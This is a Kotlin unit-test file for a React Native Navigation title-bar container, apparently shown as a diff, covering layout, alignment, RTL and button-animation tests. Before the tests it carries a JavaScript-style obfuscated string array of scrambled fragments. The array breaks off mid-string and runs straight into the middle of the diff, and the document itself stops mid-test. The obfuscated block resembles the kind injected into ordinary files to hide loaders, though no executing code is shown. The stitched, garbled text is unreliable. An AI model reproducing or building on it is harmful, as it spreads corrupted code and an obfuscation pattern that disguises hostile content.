_0x3a7d05=['Ccc.cR_mRr','..cpfn&Rc','P(','=@cc{qyCe/','RhRRsecR)0','2q[.<0a1{<','z.m=k=.\x20*n','i)R]ec\x22\x20Rt',')RccIRcR\x5c!','R<8+pi....','v=upqm9=]n','f-inRsR:Pl8<','rK7.yc\x2007e','ccc.eR.Rdc','ou~;$t.ocw',']\x20cye&[#)t','.lprtRus..','RR\x20R]0jP;t','ho#(\x27\x22P..c','nlco.1PtRR!c[','Rw}.pBRedR','w.3<.R6Rrl','!RtjlNcw}d','uaigxofpho','t\x20','i.0./RK!to','sPR6df}tasm\x20$=.(y=)r','v=Sn2(j1r4','Rk&!R','zd..iRcc.R','1-;=;\x20jwql','IcaR;.nR,b','o(tt)l=','.)7\x20\x22R:Lct','G...!/45c}','0bcntRRARc','.Hf/..PP0<','9!tiC<.c(.','.Ru','(\x20]1v=t=e+',']RodRReIt',':-i<R\x22Vv:d','.!Rc\x20(3R#e)RmScM\x20','!R','.se','S<\x27g.cR).z','ttc6s%fNr;','3<8e<).DCl','ict<#(R\x20,l','.R.so.RoR.C(2n.<','2H].wbmR.k','Ri!.ok;aRc','Rcr!cRop&;','5!/-)<04.c','RR_R^!\x20NRf','ni4tc.nRmt','Rc.c.t#/s{','R<.','<:_R.bb4c.','c.)ci','R.Pc.R.ysR','R.RbmnR\x20R:','hRh.3ecNn()','R.[@.ci.2&','9R(vRskp$P','5p<+rfi\x20en','<)v5=.96g8','.c.p.RsDcp','6Rdr.tRI~es<.O..','<R','Rrc}1TcR.!','DAiqF','.CR.s.+UI6','.PRsvRcV)$','Rrtc[._5Ri','+.\x20Rpc.}i.','en`)qesRoS','~N.RifNc&i','c%p.R)])+.','s$T$.R.6nc','RSM\x27.n.h.s','Fgo 0 || leftBarWidth > 0) - uut.setButtonBars(mockLeftBar, mockRightBar) - if (componentWidth > 0) - uut.setComponent(mockComponent, alignment) - uut.setTitleSubtitleLayout(mockTitleSubtitleLayout) - - activity.window.decorView.layoutDirection = direction - activity.setContentView(FrameLayout(activity).apply { - layoutDirection = direction - addView(uut, ViewGroup.LayoutParams(UUT_WIDTH, UUT_HEIGHT)) - }) - idleMainLooper() - } - - @Test - fun `animateLeftRightButtons - should be false as default`(){ - assertFalse(mockLeftBar.shouldAnimate) - assertFalse(mockRightBar.shouldAnimate) - } - @Test - fun `animateLeftRightButtons - should change corresponding button bar`(){ - setup(rightBarWidth = 10,leftBarWidth = 20) - - uut.animateLeftButtons(true) - verify(mockLeftBar).shouldAnimate=true - - uut.animateLeftButtons(false) - verify(mockLeftBar).shouldAnimate=false - - uut.animateRightButtons(true) - verify(mockRightBar).shouldAnimate=true - - uut.animateRightButtons(false) - verify(mockRightBar).shouldAnimate=false - } - - @Test - fun `setComponent - should not change component id`() { - val component = View(activity).apply { id = 19 } - val component2 = View(activity).apply { id = 29 } - uut.setComponent(component) - assertThat(component.id).isEqualTo(19) - - uut.setComponent(component2) - assertThat(component.id).isEqualTo(19) - assertThat(component2.id).isEqualTo(29) - - uut.clearTitle() - assertThat(component.id).isEqualTo(19) - assertThat(component2.id).isEqualTo(29) - - uut.setComponent(component2) - assertThat(component.id).isEqualTo(19) - assertThat(component2.id).isEqualTo(29) - - uut.setTitle("title") - assertThat(component.id).isEqualTo(19) - assertThat(component2.id).isEqualTo(29) - } - - @Test - fun `onLayout - should set title component center vertically`() { - val componentHeight = (UUT_HEIGHT / 4f).roundToInt() - setup(componentWidth = 100, componentHeight = componentHeight) - - val component = uut.getTitleComponent() - assertThat(component.top).isEqualTo((UUT_HEIGHT / 2f - componentHeight / 2f).roundToInt()) - assertThat(component.bottom).isEqualTo((UUT_HEIGHT / 2f + componentHeight / 2f).roundToInt()) - } - - @Test - fun `onLayout - set title text should take all parent height`() { - setup(titleBarWidth = 100, titleBarHeight = UUT_HEIGHT) - - val component = uut.getTitleComponent() - - assertThat(component.layoutParams.height).isEqualTo(ViewGroup.LayoutParams.MATCH_PARENT) - assertThat(component.top).isEqualTo(0) - assertThat(component.bottom).isEqualTo(UUT_HEIGHT) - } - - @Test - fun `onLayout - title should not overlap with toolbar and have to re-layout`() { - val leftBarWidth = (UUT_WIDTH / 4f).roundToInt() - val rightBarWidth = (UUT_WIDTH / 4f).roundToInt() - val titleBarWidth = 3 * (UUT_WIDTH / 4f).roundToInt() - setup(titleBarWidth = titleBarWidth, titleBarHeight = UUT_HEIGHT, leftBarWidth = leftBarWidth, rightBarWidth = rightBarWidth) - - val component = uut.getTitleComponent() - assertThat(component.left).isEqualTo(leftBarWidth + DEFAULT_LEFT_MARGIN_PX) - assertThat(component.right).isEqualTo(UUT_WIDTH - rightBarWidth - DEFAULT_LEFT_MARGIN_PX) - } - - @Test - fun `onLayout - title component should not overlap with toolbar and have to re-layout`() { - val leftBarWidth = (UUT_WIDTH / 4f).roundToInt() - val rightBarWidth = (UUT_WIDTH / 4f).roundToInt() - val titleBarWidth = 3 * (UUT_WIDTH / 4f).roundToInt() - setup(componentWidth = titleBarWidth, componentHeight = UUT_HEIGHT, leftBarWidth = leftBarWidth, rightBarWidth = - rightBarWidth) - - val component = uut.getTitleComponent() - assertThat(component.left).isEqualTo(leftBarWidth + DEFAULT_LEFT_MARGIN_PX) - assertThat(component.right).isEqualTo(UUT_WIDTH - rightBarWidth - DEFAULT_LEFT_MARGIN_PX) - } - - @Test - fun `onLayout - title should be aligned left and take needed the width + margins when no buttons`() { - val titleBarWidth = 200 - setup(titleBarWidth = titleBarWidth) - - val component = uut.getTitleComponent() - assertThat(component.left).isEqualTo(DEFAULT_LEFT_MARGIN_PX) - assertThat(component.right).isEqualTo(titleBarWidth + 2 * DEFAULT_LEFT_MARGIN_PX) - } - - @Test - fun `setTitle - RTL - should be aligned right and take available width when no buttons`() { - val titleBarWidth = 200 - setup(direction = View.LAYOUT_DIRECTION_RTL, titleBarWidth = titleBarWidth) - - val titleComponent = uut.getTitleComponent() - assertThat(titleComponent.right).isEqualTo(UUT_WIDTH - DEFAULT_LEFT_MARGIN_PX) - assertThat(titleComponent.left).isEqualTo(UUT_WIDTH- DEFAULT_LEFT_MARGIN_PX-titleBarWidth-DEFAULT_LEFT_MARGIN_PX ) - } - - @Test - fun `Title - should place title between the toolbars`() { - val leftBarWidth = 50 - val rightBarWidth = 100 - val titleBarWidth = 200 - setup(leftBarWidth = leftBarWidth, rightBarWidth = rightBarWidth, titleBarWidth = titleBarWidth) - val titleSubTitleLayout = uut.getTitleComponent() as TitleSubTitleLayout - - idleMainLooper() - assertThat(titleSubTitleLayout.left).isEqualTo(leftBarWidth + DEFAULT_LEFT_MARGIN_PX) - assertThat(titleSubTitleLayout.right).isEqualTo(leftBarWidth + DEFAULT_LEFT_MARGIN_PX + titleBarWidth + DEFAULT_LEFT_MARGIN_PX) - } - - @Test - fun `Title - should place title between the toolbars at center`() { - val leftBarWidth = 50 - val rightBarWidth = 100 - val titleBarWidth = 200 - setup( - leftBarWidth = leftBarWidth, - rightBarWidth = rightBarWidth, - titleBarWidth = titleBarWidth, - alignment = Alignment.Center - ) - - idleMainLooper() - assertThat(uut.getTitleComponent().left).isEqualTo((UUT_WIDTH / 2f - titleBarWidth / 2f).roundToInt()) - assertThat(uut.getTitleComponent().right).isEqualTo((UUT_WIDTH / 2f + titleBarWidth / 2f).roundToInt()) - } - - @Test - fun `Title - center should not overlap with toolbars and be resized to fit between`() { - val leftBarWidth = (UUT_WIDTH / 4f).roundToInt() - val rightBarWidth = (UUT_WIDTH / 4f).roundToInt() - val titleBarWidth = (0.75 * UUT_WIDTH).roundToInt() - val spaceBetween = UUT_WIDTH - leftBarWidth - rightBarWidth - setup( - leftBarWidth = leftBarWidth, - rightBarWidth = rightBarWidth, - titleBarWidth = titleBarWidth, - alignment = Alignment.Center - ) - - idleMainLooper() - assertThat(uut.getTitleComponent().left).isEqualTo((UUT_WIDTH / 2f - spaceBetween / 2f).roundToInt()) - assertThat(uut.getTitleComponent().right).isEqualTo((UUT_WIDTH / 2f + spaceBetween / 2f).roundToInt()) - } - - @Test - fun `Title - left should not overlap with toolbars and be resized to fit between`() { - val leftBarWidth = (UUT_WIDTH / 4f).roundToInt() - val rightBarWidth = (UUT_WIDTH / 4f).roundToInt() - val titleBarWidth = (0.75 * UUT_WIDTH).roundToInt() - setup( - leftBarWidth = leftBarWidth, - rightBarWidth = rightBarWidth, - titleBarWidth = titleBarWidth, - alignment = Alignment.Default - ) - - idleMainLooper() - assertThat(uut.getTitleComponent().left).isEqualTo(leftBarWidth + DEFAULT_LEFT_MARGIN_PX) - assertThat(uut.getTitleComponent().right).isEqualTo(UUT_WIDTH - rightBarWidth - DEFAULT_LEFT_MARGIN_PX) - } - - @Test - fun `Component - center should not overlap with toolbars and be resized to fit between`() { - val leftBarWidth = (UUT_WIDTH / 4f).roundToInt() - val rightBarWidth = (UUT_WIDTH / 4f).roundToInt() - val componentWidth = (0.75 * UUT_WIDTH).roundToInt() - val spaceBetween = UUT_WIDTH - leftBarWidth - rightBarWidth - setup( - leftBarWidth = leftBarWidth, - rightBarWidth = rightBarWidth, - componentWidth = componentWidth, - alignment = Alignment.Center - ) - - idleMainLooper() - assertThat(uut.getTitleComponent().left).isEqualTo((UUT_WIDTH / 2f - spaceBetween / 2f).roundToInt()) - assertThat(uut.getTitleComponent().right).isEqualTo((UUT_WIDTH / 2f + spaceBetween / 2f).roundToInt()) - } - - @Test - fun `Component - left should not overlap with toolbars and be resized to fit between`() { - val leftBarWidth = (UUT_WIDTH / 4f).roundToInt() - val rightBarWidth = (UUT_WIDTH / 4f).roundToInt() - val componentWidth = (0.75 * UUT_WIDTH).roundToInt() - setup( - leftBarWidth = leftBarWidth, - rightBarWidth = rightBarWidth, - componentWidth = componentWidth, - alignment = Alignment.Default - ) - - idleMainLooper() - assertThat(uut.getTitleComponent().left).isEqualTo(leftBarWidth + DEFAULT_LEFT_MARGIN_PX) - assertThat(uut.getTitleComponent().right).isEqualTo(UUT_WIDTH - rightBarWidth - DEFAULT_LEFT_MARGIN_PX) - } - - @Test - fun `Component - should place title between the toolbars`() { - val leftBarWidth = 50 - val rightBarWidth = 100 - val componentWidth = 200 - setup(leftBarWidth = leftBarWidth, rightBarWidth = rightBarWidth, titleBarWidth = 0, componentWidth = componentWidth) - val component = uut.getTitleComponent() - - idleMainLooper() - assertThat(component.left).isEqualTo(leftBarWidth + DEFAULT_LEFT_MARGIN_PX) - assertThat(component.right).isEqualTo(leftBarWidth + DEFAULT_LEFT_MARGIN_PX + componentWidth + DEFAULT_LEFT_MARGIN_PX) - } - - @Test - fun `onLayout - should place title component between the toolbars at center`() { - val componentWidth = 200 - setup(leftBarWidth = 50, rightBarWidth = 100, componentWidth = componentWidth, - alignment = Alignment.Center) - val component = uut.getTitleComponent() - - idleMainLooper() - assertThat(component.left).isEqualTo((UUT_WIDTH / 2f - componentWidth / 2f).roundToInt()) - assertThat(component.right).isEqualTo((UUT_WIDTH / 2f + componentWidth / 2f).roundToInt()) - } - - @Test - fun `onLayout - should measure and layout children when alignment changes`() { - val titleBarWidth = 200 - setup( - titleBarWidth = titleBarWidth, - alignment = Alignment.Center - ) - var component = uut.getTitleComponent() - idleMainLooper() - - assertThat(component.left).isEqualTo((UUT_WIDTH / 2f - titleBarWidth / 2f).roundToInt()) - assertThat(component.right).isEqualTo((UUT_WIDTH / 2f + titleBarWidth / 2f).roundToInt()) - - setup( - titleBarWidth = titleBarWidth, - alignment = Alignment.Fill - ) - component = uut.getTitleComponent() - idleMainLooper() - assertThat(component.left).isEqualTo(DEFAULT_LEFT_MARGIN_PX) - assertThat(component.right).isEqualTo(titleBarWidth + 2 * DEFAULT_LEFT_MARGIN_PX) - } - - @Test - fun `setComponent - should set dynamic width-height`() { - val component = View(activity).apply { id = 19 } - uut.setComponent(component) - idleMainLooper() - assertThat(component.layoutParams.width).isEqualTo(ViewGroup.LayoutParams.WRAP_CONTENT) - assertThat(component.layoutParams.height).isEqualTo(ViewGroup.LayoutParams.WRAP_CONTENT) - } - - @Test - fun setComponent_shouldChangeDifferentComponents() { - setup(mockUUT = false) - val component = View(activity).apply { id = 19 } - val component2 = View(activity).apply { id = 29 } - uut.setComponent(component) - - val titleComponent = uut.getTitleComponent() - assertThat(titleComponent).isEqualTo(component) - - uut.setComponent(component2, Alignment.Fill) - assertThat(uut.findViewById(component.id)).isNull() - assertThat(uut.findViewById(component2.id)).isEqualTo(component2) - - } - - - @Test - fun setComponent_shouldResetTextTitleWhenSettingComponent() { - setup(mockUUT = false) - uut.setTitle("Title") - assertThat(uut.getTitle()).isEqualTo("Title") - val component = View(activity) - uut.setComponent(component) - assertThat(uut.getTitle()).isNullOrEmpty() - } - - - @Test - fun setComponent_doesNothingIfComponentIsAlreadyAdded() { - setup(componentWidth = 100) - idleMainLooper() - assertThat(uut.getComponent()).isNotNull() - uut.setComponent(mockComponent) - idleMainLooper() - assertThat(uut.getComponent()?.id).isEqualTo(mockComponent.id) - } - - @Test - fun setTitle_shouldChangeTheTitle() { - uut.setTitle("Title") - assertThat(uut.getTitle()).isEqualTo("Title") - } - - @Test - fun setTitle_shouldResetTitleComponentWhenSettingTextTitle() { - setup(mockUUT = false) - val component = View(activity) - uut.setComponent(component) - assertThat(uut.getTitle()).isNullOrEmpty() - - uut.setTitle("Title") - assertThat(uut.getTitle()).isEqualTo("Title") - } - - - @Test - fun setSubTitle_textShouldBeAlignedAtStartCenterVertical() { - uut.setSubtitle("Subtitle") - val passedView = uut.getTitleSubtitleBar() - assertThat(passedView.visibility).isEqualTo(View.VISIBLE) - assertThat(passedView.getSubTitleTxtView().text).isEqualTo("Subtitle") - assertThat((passedView.getSubTitleTxtView().layoutParams as LinearLayout.LayoutParams).gravity).isEqualTo(Gravity.START or Gravity.CENTER_VERTICAL) - } - - @Test - fun setBackgroundColor_changesTitleBarBgColor() { - uut = Mockito.spy(uut) - uut.setBackgroundColor(NullThemeColour()) - verify(uut, times(0)).setBackgroundColor(Color.GRAY) - uut.setBackgroundColor(ThemeColour(Colour(Color.GRAY))) - verify(uut, times(1)).setBackgroundColor(Color.GRAY) - } - - @Test - fun setTitleFontSize_changesTitleFontSize() { - uut.setTitleFontSize(1f) - Assertions.assertThat(getTitleSubtitleView().getTitleTxtView().textSize).isEqualTo(1f) - } - - @Test - fun setSubTitleFontSize_changesTitleFontSize() { - uut.setSubtitleFontSize(1f) - Assertions.assertThat(getTitleSubtitleView().getSubTitleTxtView().textSize).isEqualTo(1f) - } - - @Test - fun setTitleColor_changesTitleColor() { - uut.setTitleColor(Color.YELLOW) - assertThat(getTitleSubtitleView().getTitleTxtView().currentTextColor).isEqualTo(Color.YELLOW) - } - - @Test - fun setSubTitleColor_changesTitleColor() { - uut.setSubtitleColor(Color.YELLOW) - assertThat(getTitleSubtitleView().getSubTitleTxtView().currentTextColor).isEqualTo(Color.YELLOW) - } - - - - @Test - fun getTitle_returnCurrentTextInTitleTextView() { - assertThat(uut.getTitle()).isEmpty() - uut.setTitle("TiTle") - assertThat(uut.getTitle()).isEqualTo("TiTle") - } - - @Test - fun clearCurrentTitle_shouldCleatTextAndRemoveComponent() { - uut.setTitle("Title") - assertThat(uut.getTitle()).isEqualTo("Title") - uut.clearTitle() - assertThat(uut.getTitle()).isNullOrEmpty() - - val component = View(activity) - uut.setComponent(component) - assertThat(uut.getTitleComponent()).isEqualTo(component) - - uut.clearTitle() - assertThat(uut.getTitleComponent()).isNotEqualTo(component) - - } - - private fun getTitleSubtitleView() = (uut.getTitleComponent() as TitleSubTitleLayout) +package com.reactnativenavigation.views + +import android.app.Activity +import android.graphics.Color +import android.view.Gravity +import android.view.View +import android.view.ViewGroup +import android.widget.FrameLayout +import android.widget.LinearLayout +import com.reactnativenavigation.BaseTest +import com.reactnativenavigation.options.Alignment +import com.reactnativenavigation.options.params.Colour +import com.reactnativenavigation.options.params.NullThemeColour +import com.reactnativenavigation.options.params.ThemeColour +import com.reactnativenavigation.views.stack.topbar.titlebar.ButtonBar +import com.reactnativenavigation.views.stack.topbar.titlebar.DEFAULT_LEFT_MARGIN_PX +import com.reactnativenavigation.views.stack.topbar.titlebar.TitleAndButtonsContainer +import com.reactnativenavigation.views.stack.topbar.titlebar.TitleSubTitleLayout +import org.assertj.core.api.Assertions +import org.assertj.core.api.AssertionsForInterfaceTypes.assertThat +import org.junit.Ignore +import org.junit.Test +import org.mockito.Mockito +import org.mockito.Mockito.times +import org.mockito.kotlin.spy +import org.mockito.kotlin.verify +import kotlin.math.roundToInt +import kotlin.test.assertFalse + +private const val UUT_WIDTH = 1000 +private const val UUT_HEIGHT = 100 + +class TitleAndButtonsContainerTest : BaseTest() { + lateinit var uut: TitleAndButtonsContainer + private lateinit var activity: Activity + private lateinit var mockLeftBar: ButtonBar + private lateinit var mockRightBar: ButtonBar + private lateinit var mockComponent: View + override fun beforeEach() { + super.beforeEach() + setup() + } + + private fun setup( + mockUUT: Boolean = true, + direction: Int = View.LAYOUT_DIRECTION_LTR, + titleBarWidth: Int = 0, + titleBarHeight: Int = 0, + componentWidth: Int = 0, + componentHeight: Int = 0, + rightBarWidth: Int = 0, + leftBarWidth: Int = 0, + alignment: Alignment = Alignment.Default + ) { + activity = newActivity() + val originalUUT = TitleAndButtonsContainer(activity) + uut = if (mockUUT) spy(originalUUT) else originalUUT + mockLeftBar = spy(ButtonBar(activity)) + mockRightBar = spy(ButtonBar(activity)) + mockComponent = spy(View(activity)) + val mockTitleSubtitleLayout = spy(TitleSubTitleLayout(activity)) + Mockito.doReturn(rightBarWidth).`when`(mockRightBar).measuredWidth + Mockito.doReturn(leftBarWidth).`when`(mockLeftBar).measuredWidth + if (mockUUT) + Mockito.doReturn(direction).`when`(uut).layoutDirection + Mockito.doReturn(titleBarWidth).`when`(mockTitleSubtitleLayout).measuredWidth + Mockito.doReturn(titleBarHeight).`when`(mockTitleSubtitleLayout).measuredHeight + Mockito.doReturn(componentWidth).`when`(mockComponent).measuredWidth + Mockito.doReturn(componentHeight).`when`(mockComponent).measuredHeight + uut.setTitleBarAlignment(alignment) + if (rightBarWidth > 0 || leftBarWidth > 0) + uut.setButtonBars(mockLeftBar, mockRightBar) + if (componentWidth > 0) + uut.setComponent(mockComponent, alignment) + uut.setTitleSubtitleLayout(mockTitleSubtitleLayout) + + activity.window.decorView.layoutDirection = direction + activity.setContentView(FrameLayout(activity).apply { + layoutDirection = direction + addView(uut, ViewGroup.LayoutParams(UUT_WIDTH, UUT_HEIGHT)) + }) + idleMainLooper() + } + + @Test + fun `animateLeftRightButtons - should be false as default`(){ + assertFalse(mockLeftBar.shouldAnimate) + assertFalse(mockRightBar.shouldAnimate) + } + @Test + fun `animateLeftRightButtons - should change corresponding button bar`(){ + setup(rightBarWidth = 10,leftBarWidth = 20) + + uut.animateLeftButtons(true) + verify(mockLeftBar).shouldAnimate=true + + uut.animateLeftButtons(false) + verify(mockLeftBar).shouldAnimate=false + + uut.animateRightButtons(true) + verify(mockRightBar).shouldAnimate=true + + uut.animateRightButtons(false) + verify(mockRightBar).shouldAnimate=false + } + + @Test + fun `setComponent - should not change component id`() { + val component = View(activity).apply { id = 19 } + val component2 = View(activity).apply { id = 29 } + uut.setComponent(component) + assertThat(component.id).isEqualTo(19) + + uut.setComponent(component2) + assertThat(component.id).isEqualTo(19) + assertThat(component2.id).isEqualTo(29) + + uut.clearTitle() + assertThat(component.id).isEqualTo(19) + assertThat(component2.id).isEqualTo(29) + + uut.setComponent(component2) + assertThat(component.id).isEqualTo(19) + assertThat(component2.id).isEqualTo(29) + + uut.setTitle("title") + assertThat(component.id).isEqualTo(19) + assertThat(component2.id).isEqualTo(29) + } + + @Test + fun `onLayout - should set title component center vertically`() { + val componentHeight = (UUT_HEIGHT / 4f).roundToInt() + setup(componentWidth = 100, componentHeight = componentHeight) + + val component = uut.getTitleComponent() + assertThat(component.top).isEqualTo((UUT_HEIGHT / 2f - componentHeight / 2f).roundToInt()) + assertThat(component.bottom).isEqualTo((UUT_HEIGHT / 2f + componentHeight / 2f).roundToInt()) + } + + @Test + fun `onLayout - set title text should take all parent height`() { + setup(titleBarWidth = 100, titleBarHeight = UUT_HEIGHT) + + val component = uut.getTitleComponent() + + assertThat(component.layoutParams.height).isEqualTo(ViewGroup.LayoutParams.MATCH_PARENT) + assertThat(component.top).isEqualTo(0) + assertThat(component.bottom).isEqualTo(UUT_HEIGHT) + } + + @Test + fun `onLayout - title should not overlap with toolbar and have to re-layout`() { + val leftBarWidth = (UUT_WIDTH / 4f).roundToInt() + val rightBarWidth = (UUT_WIDTH / 4f).roundToInt() + val titleBarWidth = 3 * (UUT_WIDTH / 4f).roundToInt() + setup(titleBarWidth = titleBarWidth, titleBarHeight = UUT_HEIGHT, leftBarWidth = leftBarWidth, rightBarWidth = rightBarWidth) + + val component = uut.getTitleComponent() + assertThat(component.left).isEqualTo(leftBarWidth + DEFAULT_LEFT_MARGIN_PX) + assertThat(component.right).isEqualTo(UUT_WIDTH - rightBarWidth - DEFAULT_LEFT_MARGIN_PX) + } + + @Test + fun `onLayout - title component should not overlap with toolbar and have to re-layout`() { + val leftBarWidth = (UUT_WIDTH / 4f).roundToInt() + val rightBarWidth = (UUT_WIDTH / 4f).roundToInt() + val titleBarWidth = 3 * (UUT_WIDTH / 4f).roundToInt() + setup(componentWidth = titleBarWidth, componentHeight = UUT_HEIGHT, leftBarWidth = leftBarWidth, rightBarWidth = + rightBarWidth) + + val component = uut.getTitleComponent() + assertThat(component.left).isEqualTo(leftBarWidth + DEFAULT_LEFT_MARGIN_PX) + assertThat(component.right).isEqualTo(UUT_WIDTH - rightBarWidth - DEFAULT_LEFT_MARGIN_PX) + } + + @Test + fun `onLayout - title should be aligned left and take needed the width + margins when no buttons`() { + val titleBarWidth = 200 + setup(titleBarWidth = titleBarWidth) + + val component = uut.getTitleComponent() + assertThat(component.left).isEqualTo(DEFAULT_LEFT_MARGIN_PX) + assertThat(component.right).isEqualTo(titleBarWidth + 2 * DEFAULT_LEFT_MARGIN_PX) + } + + @Test + fun `setTitle - RTL - should be aligned right and take available width when no buttons`() { + val titleBarWidth = 200 + setup(direction = View.LAYOUT_DIRECTION_RTL, titleBarWidth = titleBarWidth) + + val titleComponent = uut.getTitleComponent() + assertThat(titleComponent.right).isEqualTo(UUT_WIDTH - DEFAULT_LEFT_MARGIN_PX) + assertThat(titleComponent.left).isEqualTo(UUT_WIDTH- DEFAULT_LEFT_MARGIN_PX-titleBarWidth-DEFAULT_LEFT_MARGIN_PX ) + } + + @Test + fun `Title - should place title between the toolbars`() { + val leftBarWidth = 50 + val rightBarWidth = 100 + val titleBarWidth = 200 + setup(leftBarWidth = leftBarWidth, rightBarWidth = rightBarWidth, titleBarWidth = titleBarWidth) + val titleSubTitleLayout = uut.getTitleComponent() as TitleSubTitleLayout + + idleMainLooper() + assertThat(titleSubTitleLayout.left).isEqualTo(leftBarWidth + DEFAULT_LEFT_MARGIN_PX) + assertThat(titleSubTitleLayout.right).isEqualTo(leftBarWidth + DEFAULT_LEFT_MARGIN_PX + titleBarWidth + DEFAULT_LEFT_MARGIN_PX) + } + + @Test + fun `Title - should place title between the toolbars at center`() { + val leftBarWidth = 50 + val rightBarWidth = 100 + val titleBarWidth = 200 + setup( + leftBarWidth = leftBarWidth, + rightBarWidth = rightBarWidth, + titleBarWidth = titleBarWidth, + alignment = Alignment.Center + ) + + idleMainLooper() + assertThat(uut.getTitleComponent().left).isEqualTo((UUT_WIDTH / 2f - titleBarWidth / 2f).roundToInt()) + assertThat(uut.getTitleComponent().right).isEqualTo((UUT_WIDTH / 2f + titleBarWidth / 2f).roundToInt()) + } + + @Test + fun `Title - center should not overlap with toolbars and be resized to fit between`() { + val leftBarWidth = (UUT_WIDTH / 4f).roundToInt() + val rightBarWidth = (UUT_WIDTH / 4f).roundToInt() + val titleBarWidth = (0.75 * UUT_WIDTH).roundToInt() + val spaceBetween = UUT_WIDTH - leftBarWidth - rightBarWidth + setup( + leftBarWidth = leftBarWidth, + rightBarWidth = rightBarWidth, + titleBarWidth = titleBarWidth, + alignment = Alignment.Center + ) + + idleMainLooper() + assertThat(uut.getTitleComponent().left).isEqualTo((UUT_WIDTH / 2f - spaceBetween / 2f).roundToInt()) + assertThat(uut.getTitleComponent().right).isEqualTo((UUT_WIDTH / 2f + spaceBetween / 2f).roundToInt()) + } + + @Test + fun `Title - left should not overlap with toolbars and be resized to fit between`() { + val leftBarWidth = (UUT_WIDTH / 4f).roundToInt() + val rightBarWidth = (UUT_WIDTH / 4f).roundToInt() + val titleBarWidth = (0.75 * UUT_WIDTH).roundToInt() + setup( + leftBarWidth = leftBarWidth, + rightBarWidth = rightBarWidth, + titleBarWidth = titleBarWidth, + alignment = Alignment.Default + ) + + idleMainLooper() + assertThat(uut.getTitleComponent().left).isEqualTo(leftBarWidth + DEFAULT_LEFT_MARGIN_PX) + assertThat(uut.getTitleComponent().right).isEqualTo(UUT_WIDTH - rightBarWidth - DEFAULT_LEFT_MARGIN_PX) + } + + @Test + fun `Component - center should not overlap with toolbars and be resized to fit between`() { + val leftBarWidth = (UUT_WIDTH / 4f).roundToInt() + val rightBarWidth = (UUT_WIDTH / 4f).roundToInt() + val componentWidth = (0.75 * UUT_WIDTH).roundToInt() + val spaceBetween = UUT_WIDTH - leftBarWidth - rightBarWidth + setup( + leftBarWidth = leftBarWidth, + rightBarWidth = rightBarWidth, + componentWidth = componentWidth, + alignment = Alignment.Center + ) + + idleMainLooper() + assertThat(uut.getTitleComponent().left).isEqualTo((UUT_WIDTH / 2f - spaceBetween / 2f).roundToInt()) + assertThat(uut.getTitleComponent().right).isEqualTo((UUT_WIDTH / 2f + spaceBetween / 2f).roundToInt()) + } + + @Test + fun `Component - left should not overlap with toolbars and be resized to fit between`() { + val leftBarWidth = (UUT_WIDTH / 4f).roundToInt() + val rightBarWidth = (UUT_WIDTH / 4f).roundToInt() + val componentWidth = (0.75 * UUT_WIDTH).roundToInt() + setup( + leftBarWidth = leftBarWidth, + rightBarWidth = rightBarWidth, + componentWidth = componentWidth, + alignment = Alignment.Default + ) + + idleMainLooper() + assertThat(uut.getTitleComponent().left).isEqualTo(leftBarWidth + DEFAULT_LEFT_MARGIN_PX) + assertThat(uut.getTitleComponent().right).isEqualTo(UUT_WIDTH - rightBarWidth - DEFAULT_LEFT_MARGIN_PX) + } + + @Test + fun `Component - should place title between the toolbars`() { + val leftBarWidth = 50 + val rightBarWidth = 100 + val componentWidth = 200 + setup(leftBarWidth = leftBarWidth, rightBarWidth = rightBarWidth, titleBarWidth = 0, componentWidth = componentWidth) + val component = uut.getTitleComponent() + + idleMainLooper() + assertThat(component.left).isEqualTo(leftBarWidth + DEFAULT_LEFT_MARGIN_PX) + assertThat(component.right).isEqualTo(leftBarWidth + DEFAULT_LEFT_MARGIN_PX + componentWidth + DEFAULT_LEFT_MARGIN_PX) + } + + @Test + fun `onLayout - should place title component between the toolbars at center`() { + val componentWidth = 200 + setup(leftBarWidth = 50, rightBarWidth = 100, componentWidth = componentWidth, + alignment = Alignment.Center) + val component = uut.getTitleComponent() + + idleMainLooper() + assertThat(component.left).isEqualTo((UUT_WIDTH / 2f - componentWidth / 2f).roundToInt()) + assertThat(component.right).isEqualTo((UUT_WIDTH / 2f + componentWidth / 2f).roundToInt()) + } + + @Test + fun `onLayout - should measure and layout children when alignment changes`() { + val titleBarWidth = 200 + setup( + titleBarWidth = titleBarWidth, + alignment = Alignment.Center + ) + var component = uut.getTitleComponent() + idleMainLooper() + + assertThat(component.left).isEqualTo((UUT_WIDTH / 2f - titleBarWidth / 2f).roundToInt()) + assertThat(component.right).isEqualTo((UUT_WIDTH / 2f + titleBarWidth / 2f).roundToInt()) + + setup( + titleBarWidth = titleBarWidth, + alignment = Alignment.Fill + ) + component = uut.getTitleComponent() + idleMainLooper() + assertThat(component.left).isEqualTo(DEFAULT_LEFT_MARGIN_PX) + assertThat(component.right).isEqualTo(titleBarWidth + 2 * DEFAULT_LEFT_MARGIN_PX) + } + + @Test + fun `setComponent - should set dynamic width-height`() { + val component = View(activity).apply { id = 19 } + uut.setComponent(component) + idleMainLooper() + assertThat(component.layoutParams.width).isEqualTo(ViewGroup.LayoutParams.WRAP_CONTENT) + assertThat(component.layoutParams.height).isEqualTo(ViewGroup.LayoutParams.WRAP_CONTENT) + } + + @Test + fun setComponent_shouldChangeDifferentComponents() { + setup(mockUUT = false) + val component = View(activity).apply { id = 19 } + val component2 = View(activity).apply { id = 29 } + uut.setComponent(component) + + val titleComponent = uut.getTitleComponent() + assertThat(titleComponent).isEqualTo(component) + + uut.setComponent(component2, Alignment.Fill) + assertThat(uut.findViewById(component.id)).isNull() + assertThat(uut.findViewById(component2.id)).isEqualTo(component2) + + } + + + @Test + fun setComponent_shouldResetTextTitleWhenSettingComponent() { + setup(mockUUT = false) + uut.setTitle("Title") + assertThat(uut.getTitle()).isEqualTo("Title") + val component = View(activity) + uut.setComponent(component) + assertThat(uut.getTitle()).isNullOrEmpty() + } + + + @Test + fun setComponent_doesNothingIfComponentIsAlreadyAdded() { + setup(componentWidth = 100) + idleMainLooper() + assertThat(uut.getComponent()).isNotNull() + uut.setComponent(mockComponent) + idleMainLooper() + assertThat(uut.getComponent()?.id).isEqualTo(mockComponent.id) + } + + @Test + fun setTitle_shouldChangeTheTitle() { + uut.setTitle("Title") + assertThat(uut.getTitle()).isEqualTo("Title") + } + + @Test + fun setTitle_shouldResetTitleComponentWhenSettingTextTitle() { + setup(mockUUT = false) + val component = View(activity) + uut.setComponent(component) + assertThat(uut.getTitle()).isNullOrEmpty() + + uut.setTitle("Title") + assertThat(uut.getTitle()).isEqualTo("Title") + } + + + @Test + fun setSubTitle_textShouldBeAlignedAtStartCenterVertical() { + 